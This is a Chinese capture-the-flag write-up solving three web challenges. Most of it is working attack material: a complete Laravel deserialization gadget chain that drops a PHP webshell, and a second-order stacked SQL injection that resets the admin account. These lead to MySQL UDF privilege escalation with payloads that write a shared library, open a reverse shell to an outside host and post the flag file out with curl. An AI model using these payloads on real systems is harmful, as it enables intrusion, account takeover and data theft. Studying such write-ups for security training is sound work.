Just Kidding
题目提示Laravel反序列化
百度搜链子9.1.8
用的第三条
<?php
namespace Faker{
class Generator{
protected $providers = [];
protected $formatters = [];
function __construct()
{
$this->formatter = "register";
$this->formatters = 9999;
}
}
}
namespace Illuminate\Routing{
class PendingResourceRegistration{
protected $registrar;
protected $name;
protected $controller;
protected $options = [];
protected $registered = false;
function __construct()
{
$this->registrar = new \Faker\Generator();
$this->name = "../public/shell.php";#找个可写目录
$this->controller = '<?php system("cat /flag");?>';
$this->options = 8;
}
}
}
namespace Symfony\Component\Mime\Part{
abstract class AbstractPart
{
private $headers = null;
}
class SMimePart extends AbstractPart{
protected $_headers;
public $inhann;
function __construct(){
$this->_headers = ["register"=>"file_put_contents"];
$this->inhann = new \Illuminate\Routing\PendingResourceRegistration();
}
}
}
namespace{
$a = new \Symfony\Component\Mime\Part\SMimePart();
$ser = preg_replace("/([^\{]*\{)(.*)(s:49.*)(\})/","\\1\\3\\2\\4",serialize($a));
echo base64_encode(str_replace("i:9999","R:2",$ser));
}
www.zip下源码,全局搜索反序列化点入口
跳到hello路由,生成payload,传参
Callenger
Jd-gui反编译jar包保存为class,idea打开找到模板信息
直接搜 java-spring-thymeleaf 漏洞,payload
全局找到触发点
访问传参
博学多闻的花花
业务流程:注册-》登录-》做题-》提交选项-》查询成绩或排名
查看成绩会显示需要admin用户
看各个文件代码,各个username和password都用addslashes_deep函数进行了过滤,只有index下提交问题答案这一块没有使用addslashes_deep函数
并且注意到提交$query语句提交到后端执行的是multi_query函数,也就是支持多语句执行,因此,这里的考点为二次注入+堆叠注入
测试一下
当我们正常注册用户名为name,勾选答案后提交对数据库执行的操作是
<?php
function addslashes_deep($value){
if (empty($value)){
return $value;
}else {
return is_array($value) ? array_map('addslashes_deep', $value): addslashes($value);
}
}
$username = "name";
$q1 = 1;
$q2 = 1;
$q3 = 1;
$q4 = 1;
$q5 = 1;
$query = "insert into score values (NULL, '".addslashes_deep($username)."', $getscroe);
insert into userAnswer values (NULL, '".$username."', '".$q1."', '".$q2."', '".$q3."', '".$q4."', '".$q5."')";
var_dump($query);
若我们如下构造
<?php
function addslashes_deep($value){
if (empty($value)){
return $value;
}else {
return is_array($value) ? array_map('addslashes_deep', $value): addslashes($value);
}
}
$username = "c','1','2','3','4','1');update users set studentid='qwert112211q1' where username='admin';#";
$q1 = 1;
$q2 = 1;
$q3 = 1;
$q4 = 1;
$q5 = 1;
$query = "insert into score values (NULL, '".addslashes_deep($username)."', $getscroe);
insert into userAnswer values (NULL, '".$username."', '".$q1."', '".$q2."', '".$q3."', '".$q4."', '".$q5."')";
var_dump($query);
那么就会在执行插入操作后,进行admin用户的密码更新操作
这里迷了一下,开始疑惑为啥五个问题要用6个占位,后来看了下init.sql
除了id为自动增加之外,数据库的列数是有6个的
执行了将admin用户密码更改为admin123的语句后,利用修改的admin和密码即可查看score.php
翻找给出的数据库配置文件和sql文件可以得知,flag存储在主机目录下,mysql给出了一个plugin目录
那么进行udf提权
udf提权一般三个条件,plugin目录,有insert和delete权限,然后就是配置文件secure_file_priv为空
查询成绩后端代码同样没有过滤,可作为sql语句触发点
解密sqlmap目录下准备好的so文件,导出hex值,可以用mysql select load_file,也可以用010editor进行导出,我这直接用工具导了
注入点依次执行语句
写入so文件
aaa';select 0x7... into dumpfile '/usr/lib64/mysql/plugin/c1aaa.so';#
aaa';CREATE FUNCTION sys_eval RETURNS STRING SONAME 'cacqq.so';#
aaa';select sys_eval("echo '/bin/sh -i >& /dev/tcp/xx.xx.xx.xx/xxxx 0>&1'|sh");#
反弹shell即可,这里学到一手,可以直接读flag SELECT sys_eval('curl http://xx.xx.xx.xx:xxxx -d @/flag)'